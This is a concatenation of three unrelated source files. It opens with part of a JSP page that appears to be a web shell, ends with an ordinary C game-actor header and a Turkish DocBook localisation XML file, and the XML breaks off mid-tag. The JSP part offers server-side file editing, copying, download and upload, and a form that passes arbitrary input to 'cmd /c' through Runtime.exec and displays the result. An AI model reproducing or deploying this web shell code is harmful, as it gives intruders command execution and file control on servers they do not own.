width='30%'>"+strCurrentFolder[languageNo]+": <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n"); %> <table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF"> <tr> <td width="25%" align="center" valign="top"> <table width="98%" border="0" cellspacing="0" cellpadding="3"> <%=sbFolder%> </tr> </table> </td> <td width="81%" align="left" valign="top"> <% if(strAction!=null && strAction.equals("edit")) { out.println(sbEdit.toString()); } else if(strAction!=null && strAction.equals("copy")) { out.println(sbCopy.toString()); } else if(strAction!=null && strAction.equals("down")) { out.println(sbDown.toString()); } else if(strAction!=null && strAction.equals("savecopy")) { out.println(sbSaveCopy.toString()); } else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals("")) { out.println(sbNewFile.toString()); } else { %> <span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" > <tr bgcolor="#E7e7e6"> <td width="26%"><%=strFileName[languageNo]%></td> <td width="19%"><%=strFileSize[languageNo]%></td> <td width="29%"><%=strLastModified[languageNo]%></td> <td width="26%"><%=strFileOperation[languageNo]%></td> </tr> <%=sbFile%> <!-- <tr align="center"> <td colspan="4"><br> 总计文件个数:<font color="#FF0000">30</font> ,大小:<font color="#FF0000">664.9</font> KB </td> </tr> --> </table> </span> <% } %> </td> </tr> <form name="frmMake" action="" method="post"> <tr><td colspan=2 bgcolor=#FBFFC6> <input type="hidden" name="action" value="newFile"> <input type="hidden" name="path" value="<%=strDir%>"> <input type="hidden" name="file" value="<%=strFile%>"> <input type="hidden" name="cmd" value="<%=strCmd%>"> <input type="hidden" name="tabID" value="1"> <input type="hidden" name="content" value=""> <% if(!strDir.endsWith("\\")) strDir = strDir + "\\"; %> <input type="text" name="fileName" size=36 value="<%=strDir%>"> <input type="submit" name="btnNewFile" value="新建文件" onclick="frmMake.submit()" > <input type="submit" name="btnNewDir" value="新建目录" onclick="frmMake.submit()" > </form> <form name="frmUpload" enctype="multipart/form-data" action="" method="post"> <input type="hidden" name="action" value="upload"> <input type="hidden" name="path" value="<%=strDir%>"> <input type="hidden" name="file" value="<%=strFile%>"> <input type="hidden" name="cmd" value="<%=strCmd%>"> <input type="hidden" name="tabID" value="1"> <input type="hidden" name="content" value=""> <input type="file" name="cqqUploadFile" size="36"> <input type="submit" name="submit" value="上传"> </td></tr></form> </table> </div> <div id="menu2" class="tabcontent"> <% String line=""; StringBuffer sbCmd=new StringBuffer(""); if(strCmd!=null) { try { //out.println(strCmd); Process p=Runtime.getRuntime().exec("cmd /c "+strCmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null) { sbCmd.append(line+"\r\n"); } } catch(Exception e) { System.out.println(e.toString()); } } else { strCmd = "set"; } %> <form name="cmd" action="" method="post"> &nbsp; <input type="text" name="cmd" value="<%=strCmd%>" size=50> <input type="hidden" name="tabID" value="2"> <input type=submit name=submit value="<%=strExecute[languageNo]%>"> </form> <% if(sbCmd!=null && sbCmd.toString().trim().equals("")==false) { %> &nbsp;<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA> <br>&nbsp; <% } %> </DIV> </div> <br><br> <center><a href="http://www.topronet.com" target="_blank">www.topronet.com</a> ,All Rights Reserved. <br>Any question, please email me [email protected]
{ "pile_set_name": "Github" }
#ifndef Z_EN_GG_H #define Z_EN_GG_H #include <global.h> struct EnGg; typedef struct EnGg { /* 0x000 */ Actor actor; /* 0x144 */ char unk_144[0x24C]; } EnGg; // size = 0x390 extern const ActorInit En_Gg_InitVars; #endif // Z_EN_GG_H
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <l:l10n xmlns:l="http://docbook.sourceforge.net/xmlns/l10n/1.0" language="tr" english-language-name="Turkish"> <!-- * This file is generated automatically. --> <!-- * To submit changes to this file upstream (to the DocBook Project) --> <!-- * do not submit an edited version of this file. Instead, submit an --> <!-- * edited version of the source file at the following location: --> <!-- * --> <!-- * https://docbook.svn.sourceforge.net/svnroot/docbook/trunk/gentext/locale/tr.xml --> <!-- * --> <!-- * E-mail the edited tr.xml source file to: --> <!-- * --> <!-- * [email protected] --> <!-- ******************************************************************** --> <!-- This file is part of the XSL DocBook Stylesheet distribution. --> <!-- See ../README or http://docbook.sf.net/release/xsl/current/ for --> <!-- copyright and other information. --> <!-- ******************************************************************** --> <!-- In these files, % with a letter is used for a placeholder: --> <!-- %t is the current element's title --> <!-- %s is the current element's subtitle (if applicable)--> <!-- %n is the current element's number label--> <!-- %p is the current element's page number (if applicable)--> <!-- ******************************************************************** --> <l:gentext key="Abstract" text="Özet"/> <l:gentext key="abstract" text="Özet"/> <l:gentext key="Answer" text="Cevap:"/> <l:gentext key="answer" text="Cevap:"/> <l:gentext key="Appendix" text="Ek"/> <l:gentext key="appendix" text="Ek"/> <l:gentext key="Article" text="Makale"/> <l:gentext key="article" text="Makale"/> <l:gentext key="Author" text="Yazar"/> <l:gentext key="Bibliography" text="Kaynakça"/> <l:gentext key="bibliography" text="Kaynakça"/> <l:gentext key="Book" text="Kitap"/> <l:gentext key="book" text="Kitap"/> <l:gentext key="CAUTION" text="DİKKAT"/> <l:gentext key="Caution" text="Dikkat"/> <l:gentext key="caution" text="Dikkat"/> <l:gentext key="Chapter" text="Bölüm"/> <l:gentext key="chapter" text="Bölüm"/> <l:gentext key="Colophon" text="Kitap hakkında"/> <l:gentext key="colophon" text="Kitap hakkında"/> <l:gentext key="Copyright" text="Telif Hakkı"/> <l:gentext key="copyright" text="Telif Hakkı"/> <l:gentext key="Dedication" text="İthaf"/> <l:gentext key="dedication" text="İthaf"/> <l:gentext key="Edition" text="Baskı"/> <l:gentext key="edition" text="Baskı"/> <l:gentext key="Editor" text="Editor" lang="en"/> <l:gentext key="Equation" text="Denklem"/> <l:gentext key="equation" text="Denklem"/> <l:gentext key="Example" text="Örnek"/> <l:gentext key="example" text="Örnek"/> <l:gentext key="Figure" text="Şekil"/> <l:gentext key="figure" text="Şekil"/> <l:gentext key="Glossary" text="Sözlük"/> <l:gentext key="glossary" text="Sözlük"/> <l:gentext key="GlossSee" text="Bkz."/> <l:gentext key="glosssee" text="Bkz."/> <l:gentext key="GlossSeeAlso" text="Bkz."/> <l:gentext key="glossseealso" text="Bkz."/> <l:gentext key="IMPORTANT" text="ÖNEMLİ"/> <l:gentext key="important" text="Önemli"/> <l:gentext key="Important" text="Önemli"/> <l:gentext key="Index" text="Dizin"/> <l:gentext key="index" text="Dizin"/> <l:gentext key="ISBN" text="ISBN"/> <l:gentext key="isbn" text="ISBN"/> <l:gentext key="LegalNotice" text="Yasal Uyarı"/> <l:gentext key="legalnotice" text="Yasal Uyarı"/> <l:gentext key="MsgAud" text="Hedef Okuyucu"/> <l:gentext key="msgaud" text="Hedef Okuyucu"/> <l:gentext key="MsgLevel" text="Düzey"/> <l:gentext key="msglevel" text="Düzey"/> <l:gentext key="MsgOrig" text="Kaynak"/> <l:gentext key="msgorig" text="Kaynak"/> <l:gentext key="NOTE" text="NOT"/> <l:gentext key="Note" text="Not"/> <l:gentext key="note" text="Not"/> <l:gentext key="Part" text="Kısım"/> <l:gentext key="part" text="Kısım"/> <l:gentext key="Preface" text="Önsöz"/> <l:gentext key="preface" text="Önsöz"/> <l:gentext key="Procedure" text="Yönerge"/> <l:gentext key="procedure" text="Yönerge"/> <l:gentext key="ProductionSet" text="Prodüksiyon"/> <l:gentext key="PubDate" text="Yayımlanma Tarihi"/> <l:gentext key="pubdate" text="Yayımlanma Tarihi"/> <l:gentext key="Published" text="Yayımlanma"/> <l:gentext key="published" text="Yayımlanma"/> <l:gentext key="Publisher" text="Publisher" lang="en"/> <l:gentext key="Qandadiv" text="S ve C"/> <l:gentext key="qandadiv" text="S ve C"/> <l:gentext key="QandASet" text="Frequently Asked Questions" lang="en"/> <l:gentext key="Question" text="Soru:"/> <l:gentext key="question" text="Soru:"/> <l:gentext key="RefEntry" text=""/> <l:gentext key="refentry" text=""/> <l:gentext key="Reference" text="Referans"/> <l:gentext key="reference" text="Referans"/> <l:gentext key="References" text="References" lang="en"/> <l:gentext key="RefName" text="Referans Adı"/> <l:gentext key="refname" text="Referans Adı"/> <l:gentext key="RefSection" text=""/> <l:gentext key="refsection" text=""/> <l:gentext key="RefSynopsisDiv" text="Özet"/> <l:gentext key="refsynopsisdiv" text="Özet"/> <l:gentext key="RevHistory" text="Baskı Tarihçesi"/> <l:gentext key="revhistory" text="Baskı Tarihçesi"/> <l:gentext key="revision" text="Baskı"/> <l:gentext key="Revision" text="Baskı"/> <l:gentext key="sect1" text="Kısım"/> <l:gentext key="sect2" text="Kısım"/> <l:gentext key="sect3" text="Kısım"/> <l:gentext key="sect4" text="Kısım"/> <l:gentext key="sect5" text="Kısım"/> <l:gentext key="section" text="Kısım"/> <l:gentext key="Section" text="Kısım"/> <l:gentext key="see" text="bkz."/> <l:gentext key="See" text="Bkz."/> <l:gentext key="seealso" text="Bkz."/> <l:gentext key="Seealso" text="Bakınız"/> <l:gentext key="SeeAlso" text="Bakınız"/> <l:gentext key="set" text="Takım"/> <l:gentext key="Set" text="Takım"/> <l:gentext key="setindex" text="Takım Dizini"/> <l:gentext key="SetIndex" text="Takım Dizini"/> <l:gentext key="Sidebar" text=""/> <l:gentext key="sidebar" text="kenar çubuğu"/> <l:gentext key="step" text="adım"/> <l:gentext key="Step" text="Adım"/> <l:gentext key="table" text="Tablo"/> <l:gentext key="Table" text="Tablo"/> <l:gentext key="task" text="Task" lang="en"/> <l:gentext key="Task" text="Task" lang="en"/> <l:gentext key="tip" text="İpucu"/> <l:gentext key="TIP" text="İPUCU"/> <l:gentext key="Tip" text="İpucu"/> <l:gentext key="Warning" text="Uyarı"/> <l:gentext key="warning" text="Uyarı"/> <l:gentext key="WARNING" text="UYARI"/> <l:gentext key="and" text="ve"/> <l:gentext key="by" text=""/> <l:gentext key="Edited" text="Yayına hazırlayan"/> <l:gentext key="edited" text="yayına hazırlayan"/> <l:gentext key="Editedby" text="Yayına hazırlayan"/> <l:gentext key="editedby" text="yayına hazırlayan"/> <l:gentext key="in" text=""/> <l:gentext key="lastlistcomma" text=","/> <l:gentext key="listcomma" text=","/> <l:gentext key="nonexistantelement" text="varolmayan eleman"/> <l:gentext key="notes" text="Notlar"/> <l:gentext key="Notes" text="Notlar"/> <l:gentext key="Pgs" text="Sayfa"/> <l:gentext key="pgs" text="Sayfa"/> <l:gentext key="Revisedby" text="Düzeltmeler: "/> <l:gentext key="revisedby" text="Düzeltmeler: "/> <l:gentext key="TableNotes" text="Notlar"/> <l:gentext key="tablenotes" text="Notlar"/> <l:gentext key="TableofContents" text="İçindekiler"/> <l:gentext key="tableofcontents" text="İçindekiler"/> <l:gentext key="unexpectedelementname" text="Beklenmeyen eleman adı"/> <l:gentext key="unsupported" text="desteklenmiyor"/> <l:gentext key="xrefto" text=""/> <l:gentext key="Authors" text="Authors" lang="en"/> <l:gentext key="copyeditor" text="Copy Editor" lang="en"/> <l:gentext key="graphicdesigner" text="Graphic Designer" lang="en"/> <l:gentext key="productioneditor" text="Production Editor" lang="en"/> <l:gentext key="technicaleditor" text="Technical Editor" lang="en"/> <l:gentext key="translator" text="Translator" lang="en"/> <l:gentext key="listofequations" text="Denklemler"/> <l:gentext key="ListofEquations" text="Denklemler"/> <l:gentext key="ListofExamples" text="Örnekler"/> <l:gentext key="listofexamples" text="Örnekler"/> <l:gentext key="ListofFigures" text="Şekiller"/> <l:gentext key="listoffigures" text="Şekiller"/> <l:gentext key="ListofProcedures" text="Yönergeler"/> <l:gentext key="listofprocedures" text="Yönergeler"/> <l:gentext key="listoftables" text="Tablolar"/> <l:gentext key="ListofTables" text="Tablolar"/> <l:gentext key="ListofUnknown" text="Bilinmeyenler"/> <l:gentext key="listofunknown" text="Bilinmeyenler"/> <l:gentext key="nav-home" text="Başlangıç"/> <l:gentext key="nav-next" text="Sonraki"/> <l:gentext key="nav-next-sibling" text="Sonraki Bölüm"/> <l:gentext key="nav-prev" text="Önceki"/> <l:gentext key="nav-prev-sibling" text="Önceki Bölüm"/> <l:gentext key="nav-up" text="Yukarı"/> <l:gentext key="nav-toc" text="İçindekiler"/> <l:gentext key="Draft" text="Taslak"/> <l:gentext key="above" text="üstünde"/> <l:gentext key="below" text="altında"/> <l:gentext key="sectioncalled" text=""/> <l:gentext key="index symbols" text="Semboller"/> <l:gentext key="lowercase.alpha" text="abcçdefgğhıijklmnoöprsştuüvyz"/> <l:gentext key="uppercase.alpha" text="ABCÇDEFGĞHIİJKLMNOÖPRSŞTUÜVYZ"/> <l:gentext key="normalize.sort.input" text="AaÀàÁáÂâÃãÄäÅåĀāĂ㥹ǍǎǞǟǠǡǺǻȀȁȂȃȦȧḀḁẚẠạẢảẤấẦầẨẩẪẫẬậẮắẰằẲẳẴẵẶặBbƀƁɓƂƃḂḃḄḅḆḇCcÇçĆćĈĉĊċČčƇƈɕḈḉDdĎďĐđƊɗƋƌDžDzȡɖḊḋḌḍḎḏḐḑḒḓEeÈèÉéÊêËëĒēĔĕĖėĘęĚěȄȅȆȇȨȩḔḕḖḗḘḙḚḛḜḝẸẹẺẻẼẽẾếỀềỂểỄễỆệFfƑƒḞḟGgĜĝĞğĠġĢģƓɠǤǥǦǧǴǵḠḡHhĤĥĦħȞȟɦḢḣḤḥḦḧḨḩḪḫẖIiÌìÍíÎîÏïĨĩĪīĬĭĮįİƗɨǏǐȈȉȊȋḬḭḮḯỈỉỊịJjĴĵǰʝKkĶķƘƙǨǩḰḱḲḳḴḵLlĹĺĻļĽľĿŀŁłƚLjȴɫɬɭḶḷḸḹḺḻḼḽMmɱḾḿṀṁṂṃNnÑñŃńŅņŇňƝɲƞȠNjǸǹȵɳṄṅṆṇṈṉṊṋOoÒòÓóÔôÕõÖöØøŌōŎŏŐőƟƠơǑǒǪǫǬǭǾǿȌȍȎȏȪȫȬȭȮȯȰȱṌṍṎṏṐṑṒṓỌọỎỏỐốỒồỔổỖỗỘộỚớỜờỞởỠỡỢợPpƤƥṔṕṖṗQqʠRrŔŕŖŗŘřȐȑȒȓɼɽɾṘṙṚṛṜṝṞṟSsŚśŜŝŞşŠšȘșʂṠṡṢṣṤṥṦṧṨṩTtŢţŤťŦŧƫƬƭƮʈȚțȶṪṫṬṭṮṯṰṱẗUuÙùÚúÛûÜüŨũŪūŬŭŮůŰűŲųƯưǓǔǕǖǗǘǙǚǛǜȔȕȖȗṲṳṴṵṶṷṸṹṺṻỤụỦủỨứỪừỬửỮữỰựVvƲʋṼṽṾṿWwŴŵẀẁẂẃẄẅẆẇẈẉẘXxẊẋẌẍYyÝýÿŸŶŷƳƴȲȳẎẏẙỲỳỴỵỶỷỸỹZzŹźŻżŽžƵƶȤȥʐʑẐẑẒẓẔẕẕ" lang="en"/> <l:gentext key="normalize.sort.output" text="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEFFFFFFGGGGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIJJJJJJKKKKKKKKKKKKKKLLLLLLLLLLLLLLLLLLLLLLLLLLMMMMMMMMMNNNNNNNNNNNNNNNNNNNNNNNNNNNOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOPPPPPPPPQQQRRRRRRRRRRRRRRRRRRRRRRRSSSSSSSSSSSSSSSSSSSSSSSTTTTTTTTTTTTTTTTTTTTTTTTTUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUVVVVVVVVWWWWWWWWWWWWWWWXXXXXXYYYYYYYYYYYYYYYYYYYYYYYZZZZZZZZZZZZZZZZZZZZZ" lang="en"/> <l:dingbat key="startquote" text="“"/> <l:dingbat key="endquote" text="”"/> <l:dingbat key="nestedstartquote" text="‘"/> <l:dingbat key="nestedendquote" text="’"/> <l:dingbat key="singlestartquote" text="‘"/> <l:dingbat key="singleendquote" text="’"/> <l:dingbat key="bullet" text="•"/> <l:gentext key="hyphenation-character" text="-"/> <l:gentext key="hyphenation-push-character-count" text="3"/> <l:gentext key="hyphenation-remain-character-count" text="2"/> <l:context name="styles"><l:template name="person-name" text="first-last"/> </l:context> <l:context name="title"><l:template name="abstract" text="%t"/> <l:template name="answer" text="%t"/> <l:template name="appendix" text="Ek %n. %t"/> <l:template name="article" text="%t"/> <l:template name="authorblurb" text="%t"/> <l:template name="bibliodiv" text="%t"/> <l:template name="biblioentry" text="%t"/> <l:template name="bibliography" text="%t"/> <l:template name="bibliolist" text="%t" lang="en"/> <l:template name="bibliomixed" text="%t"/> <l:template name="bibliomset" text="%t"/> <l:template name="biblioset" text="%t"/> <l:template name="blockquote" text="%t"/> <l:template name="book" text="%t"/> <l:template name="calloutlist" text="%t"/> <l:template name="caution" text="%t"/> <l:template name="chapter" text="Bölüm %n. %t"/> <l:template name="colophon" text="%t"/> <l:template name="dedication" text="%t"/> <l:template name="equation" text="Denklem %n. %t"/> <l:template name="example" text="Örnek %n. %t"/> <l:template name="figure" text="Şekil %n. %t"/> <l:template name="foil" text="%t" lang="en"/> <l:template name="foilgroup" text="%t" lang="en"/> <l:template name="formalpara" text="%t"/> <l:template name="glossary" text="%t"/> <l:template name="glossdiv" text="%t"/> <l:template name="glosslist" text="%t" lang="en"/> <l:template name="glossentry" text="%t"/> <l:template name="important" text="%t"/> <l:template name="index" text="%t"/> <l:template name="indexdiv" text="%t"/> <l:template name="itemizedlist" text="%t"/> <l:template name="legalnotice" text="%t"/> <l:template name="listitem" text=""/> <l:template name="lot" text="%t"/> <l:template name="msg" text="%t"/> <l:template name="msgexplan" text="%t"/> <l:template name="msgmain" text="%t"/> <l:template name="msgrel" text="%t"/> <l:template name="msgset" text="%t"/> <l:template name="msgsub" text="%t"/> <l:template name="note" text="%t"/> <l:template name="orderedlist" text="%t"/> <l:template name="part" text="Kısım %n. %t"/> <l:template name="partintro" text="%t"/> <l:template name="preface" text="%t"/> <l:template name="procedure" text="%t"/> <l:template name="procedure.formal" text="Yönerge %n. %t"/> <l:template name="productionset" text="%t"/> <l:template name="productionset.formal" text="Prodüksiyon %n"/> <l:template name="qandadiv" text="%t"/> <l:template name="qandaentry" text="%t"/> <l:template name="qandaset" text="%t"/> <l:template name="question" text="%t"/> <l:template name="refentry" text="%t"/> <l:template name="reference" text="%t"/> <l:template name="refsection" text="%t"/> <l:template name="refsect1" text="%t"/> <l:template name="refsect2" text="%t"/> <l:template name="refsect3" text="%t"/> <l:template name="refsynopsisdiv" text="%t"/> <l:template name="refsynopsisdivinfo" text="%t"/> <l:template name="segmentedlist" text="%t"/> <l:template name="set" text="%t"/> <l:template name="setindex" text="%t"/> <l:template name="sidebar" text="%t"/> <l:template name="step" text="%t"/> <l:template name="table" text="Tablo %n. %t"/> <l:template name="task" text="%t"/> <l:template name="tasksummary" text="%t" lang="en"/> <l:template name="taskprerequisites" text="%t" lang="en"/> <l:template name="taskrelated" text="%t" lang="en"/> <l:template name="tip" text="%t"/> <l:template name="toc" text="%t"/> <l:template name="variablelist" text="%t"/> <l:template name="varlistentry" text=""/> <l:template name="warning" text="%t"/> </l:context> <l:context name="title-unnumbered"><l:template name="appendix" text="%t"/> <l:template name="article/appendix" text="%t"/> <l:template name="bridgehead" text="%t"/> <l:template name="chapter" text="%t"/> <l:template name="sect1" text="%t"/> <l:template name="sect2" text="%t"/> <l:template name="sect3" text="%t"/> <l:template name="sect4" text="%t"/> <l:template name="sect5" text="%t"/> <l:template name="section" text="%t"/> <l:template name="simplesect" text="%t"/> <l:template name="part" text="%t" lang="en"/> </l:context> <l:context name="title-numbered"><l:template name="appendix" text="Ek %n. %t"/> <l:template name="article/appendix" text="%n. %t"/> <l:template name="bridgehead" text="%n. %t"/> <l:template name="chapter" text="Bölüm %n. %t"/> <l:template name="part" text="Kısım %n. %t"/> <l:template name="sect1" text="%n. %t"/> <l:template name="sect2" text="%n. %t"/> <l:template name="sect3" text="%n. %t"/> <l:template name="sect4" text="%n. %t"/> <l:template name="sect5" text="%n. %t"/> <l:template name="section" text="%n. %t"/> <l:template name="simplesect" text="%t"/> </l:context> <l:context name="subtitle"><l:template name="appendix" text="%s"/> <l:template name="article" text="%s"/> <l:template name="bibliodiv" text="%s"/> <l:template name="biblioentry" text="%s"/> <l:template name="bibliography" text="%s"/> <l:template name="bibliomixed" text="%s"/> <l:template name="bibliomset" text="%s"/> <l:template name="biblioset" text="%s"/> <l:template name="book" text="%s"/> <l:template name="chapter" text="%s"/> <l:template name="colophon" text="%s"/> <l:template name="dedication" text="%s"/> <l:template name="glossary" text="%s"/> <l:template name="glossdiv" text="%s"/> <l:template name="index" text="%s"/> <l:template name="indexdiv" text="%s"/> <l:template name="lot" text="%s"/> <l:template name="part" text="%s"/> <l:template name="partintro" text="%s"/> <l:template name="preface" text="%s"/> <l:template name="refentry" text="%s"/> <l:template name="reference" text="%s"/> <l:template name="refsection" text="%s"/> <l:template name="refsect1" text="%s"/> <l:template name="refsect2" text="%s"/> <l:template name="refsect3" text="%s"/> <l:template name="refsynopsisdiv" text="%s"/> <l:template name="sect1" text="%s"/> <l:template name="sect2" text="%s"/> <l:template name="sect3" text="%s"/> <l:template name="sect4" text="%s"/> <l:template name="sect5" text="%s"/> <l:template name="section" text="%s"/> <l:template name="set" text="%s"/> <l:template name="setindex" text="%s"/> <l:template name="sidebar" text="%s"/> <l:template name="simplesect" text="%s"/> <l:template name="toc" text="%s"/> </l:context> <l:context name="xref"><l:template name="abstract" text="%t"/> <l:template name="answer" text="Cevap: %n"/> <l:template name="appendix" text="%t"/> <l:template name="article" text="%t"/> <l:template name="authorblurb" text="%t"/> <l:template name="bibliodiv" text="%t"/> <l:template name="bibliography" text="%t"/> <l:template name="bibliomset" text="%t"/> <l:template name="biblioset" text="%t"/> <l:template name="blockquote" text="%t"/> <l:template name="book" text="%t"/> <l:template name="calloutlist" text="%t"/> <l:template name="caution" text="%t"/> <l:template name="chapter" text="%t"/> <l:template name="colophon" text="%t"/> <l:template name="constraintdef" text="%t"/> <l:template name="dedication" text="%t"/> <l:template name="equation" text="%t"/> <l:template name="example" text="%t"/> <l:template name="figure" text="%t"/> <l:template name="foil" text="%t" lang="en"/> <l:template name="foilgroup" text="%t" lang="en"/> <l:template name="formalpara" text="%t"/> <l:template name="glossary" text="%t"/> <l:template name="glossdiv" text="%t"/> <l:template name="important" text="%t"/> <l:template name="index" text="%t"/> <l:template name="indexdiv" text="%t"/> <l:template name="itemizedlist" text="%t"/> <l:template name="legalnotice" text="%t"/> <l:template name="listitem" text="%n"/> <l:template name="lot" text="%t"/> <l:template name="msg" text="%t"/> <l:template name="msgexplan" text="%t"/> <l:template name="msgmain" text="%t"/> <l:template name="msgrel" text="%t"/> <l:template name="msgset" text="%t"/> <l:template name="msgsub" text="%t"/> <l:template name="note" text="%t"/> <l:template name="orderedlist" text="%t"/> <l:template name="part" text="%t"/> <l:template name="partintro" text="%t"/> <l:template name="preface" text="%t"/> <l:template name="procedure" text="%t"/> <l:template name="productionset" text="%t"/> <l:template name="qandadiv" text="%t"/> <l:template name="qandaentry" text="Soru: %n"/> <l:template name="qandaset" text="%t"/> <l:template name="question" text="Soru: %n"/> <l:template name="reference" text="%t"/> <l:template name="refsynopsisdiv" text="%t"/> <l:template name="segmentedlist" text="%t"/> <l:template name="set" text="%t"/> <l:template name="setindex" text="%t"/> <l:template name="sidebar" text="%t"/> <l:template name="table" text="%t"/> <l:template name="task" text="%t" lang="en"/> <l:template name="tip" text="%t"/> <l:template name="toc" text="%t"/> <l:template name="variablelist" text="%t"/> <l:template name="varlistentry" text="%n"/> <l:template name="warning" text="%t"/> <l:template name="olink.document.citation" text=" in %o" lang="en"/> <l:template name="olink.page.citation" text=" (page %p)" lang="en"/> <l:template name="page.citation" text=" [%p]"/> <l:template name="page" text="(sayfa %p)"/> <l:template name="docname" text=" in %o" lang="en"/> <l:template name="docnamelong" text=" in the document titled %o" lang="en"/> <l:template name="pageabbrev" text="(shf. %p)"/> <l:template name="Page" text="Sayfa %p"/> <l:template name="bridgehead" text=" “%t”"/> <l:template name="refsection" text=" “%t”"/> <l:template name="refsect1" text=" “%t”"/> <l:template name="refsect2" text=" “%t”"/> <l:template name="refsect3" text=" “%t”"/> <l:template name="sect1" text=" “%t”"/> <l:template name="sect2" text=" “%t”"/> <l:template name="sect3" text=" “%t”"/> <l:template name="sect4" text=" “%t”"/> <l:template name="sect5" text=" “%t”"/> <l:template name="section" text=" “%t”"/> <l:template name="simplesect" text=" “%t”"/> </l:context> <l:context name="xref-number"><l:template name="answer" text="Cevap: %n"/> <l:template name="appendix" text="Ek %n"/> <l:template name="bridgehead" text="Kısım %n"/> <l:template name="chapter" text="Bölüm %n"/> <l:template name="equation" text="Denklem %n"/> <l:template name="example" text="Örnek %n"/> <l:template name="figure" text="Şekil %n"/> <l:template name="part" text="Kısım %n"/> <l:template name="procedure" text="Yönerge %n"/> <l:template name="productionset" text="Prodüksiyon %n"/> <l:template name="qandadiv" text="S ve C %n"/> <l:template name="qandaentry" text="Soru: %n"/> <l:template name="question" text="Soru: %n"/> <l:template name="sect1" text="Kısım %n"/> <l:template name="sect2" text="Kısım %n"/> <l:template name="sect3" text="Kısım %n"/> <l:template name="sect4" text="Kısım %n"/> <l:template name="sect5" text="Kısım %n"/> <l:template name="section" text="Kısım %n"/> <l:template name="table" text="Tablo %n"/> </l:context> <l:context name="xref-number-and-title"><l:template name="appendix" text="Ek %n, %t"/> <l:template name="bridgehead" text="Kısım %n, “%t”"/> <l:template name="chapter" text="Bölüm %n, %t"/> <l:template name="equation" text="Denklem %n, “%t”"/> <l:template name="example" text="Örnek %n, “%t”"/> <l:template name="figure" text="Şekil %n, “%t”"/> <l:template name="part" text="Kısım %n, “%t”"/> <l:template name="procedure" text="Yönerge %n, “%t”"/> <l:template name="productionset" text="Prodüksiyon %n, “%t”"/> <l:template name="qandadiv" text="S ve C %n, “%t”"/> <l:template name="refsect1" text=" “%t”"/> <l:template name="refsect2" text=" “%t”"/> <l:template name="refsect3" text=" “%t”"/> <l:template name="refsection" text=" “%t”"/> <l:template name="sect1" text="Kısım %n, “%t”"/> <l:template name="sect2" text="Kısım %n, “%t”"/> <l:template name="sect3" text="Kısım %n, “%t”"/> <l:template name="sect4" text="Kısım %n, “%t”"/> <l:template name="sect5" text="Kısım %n, “%t”"/> <l:template name="section" text="Kısım %n, “%t”"/> <l:template name="simplesect" text=" “%t”"/> <l:template name="table" text="Tablo %n, “%t”"/> </l:context> <l:context name="authorgroup"><l:template name="sep" text=", "/> <l:template name="sep2" text=" ve "/> <l:template name="seplast" text=", ve "/> </l:context> <l:context name="glossary"><l:template name="see" text="Bkz. %t"/> <l:template name="seealso" text="Bkz. %t"/> </l:context> <l:context name="msgset"><l:template name="MsgAud" text="Hedef Okuyucu: "/> <l:template name="MsgLevel" text="Düzey: "/> <l:template name="MsgOrig" text="Kaynak: "/> </l:context> <l:context name="datetime"><l:template name="format" text="d/m/Y"/> </l:context> <l:context name="termdef"><l:template name="prefix" text="[Definition: " lang="en"/> <l:template name="suffix" text="]" lang="en"/> </l:context> <l:context name="datetime-full"><l:template name="January" text="Ocak"/> <l:template name="February" text="Şubat"/> <l:template name="March" text="Mart"/> <l:template name="April" text="Nisan"/> <l:template name="May" text="Mayıs"/> <l:template name="June" text="Haziran"/> <l:template name="July" text="Temmuz"/> <l:template name="August" text="Ağustos"/> <l:template name="September" text="Eylül"/> <l:template name="October" text="Ekim"/> <l:template name="November" text="Kasım"/> <l:template name="December" text="Aralık"/> <l:template name="Monday" text="Pazartesi"/> <l:template name="Tuesday" text="Salı"/> <l:template name="Wednesday" text="Çarşamba"/> <l:template name="Thursday" text="Perşembe"/> <l:template name="Friday" text="Cuma"/> <l:template name="Saturday" text="Cumartesi"/> <l:template name="Sunday" text="Pazar"/> </l:context> <l:context name="datetime-abbrev"><l:template name="Jan" text="Oca"/> <l:template name="Feb" text="Şub"/> <l:template name="Mar" text="Mar"/> <l:template name="Apr" text="Nis"/> <l:template name="May" text="May"/> <l:template name="Jun" text="Haz"/> <l:template name="Jul" text="Tem"/> <l:template name="Aug" text="Ağu"/> <l:template name="Sep" text="Eyl"/> <l:template name="Oct" text="Eki"/> <l:template name="Nov" text="Kas"/> <l:template name="Dec" text="Ara"/> <l:template name="Mon" text="Pzt"/> <l:template name="Tue" text="Sal"/> <l:template name="Wed" text="Çar"/> <l:template name="Thu" text="Per"/> <l:template name="Fri" text="Cum"/> <l:template name="Sat" text="Cts"/> <l:template name="Sun" text="Paz"/> </l:context> <l:context name="htmlhelp"><l:template name="langcode" text="0x041f Turkish"/> </l:context> <l:context name="index"><l:template name="term-separator" text=", " lang="en"/> <l:template name="number-separator" text=", " lang="en"/> <l:template name="range-separator" text="-" lang="en"/> </l:context> <l:context name="iso690"><l:template name="lastfirst.sep" text=", " lang="en"/> <l:template name="alt.person.two.sep" text=" – " lang="en"/> <l:template name="alt.person.last.sep" text=" – " lang="en"/> <l:template name="alt.person.more.sep" text=" – " lang="en"/> <l:template name="primary.editor" text=" (ed.)" lang="en"/> <l:template name="primary.many" text=", et al." lang="en"/> <l:template name="primary.sep" text=". " lang="en"/> <l:template 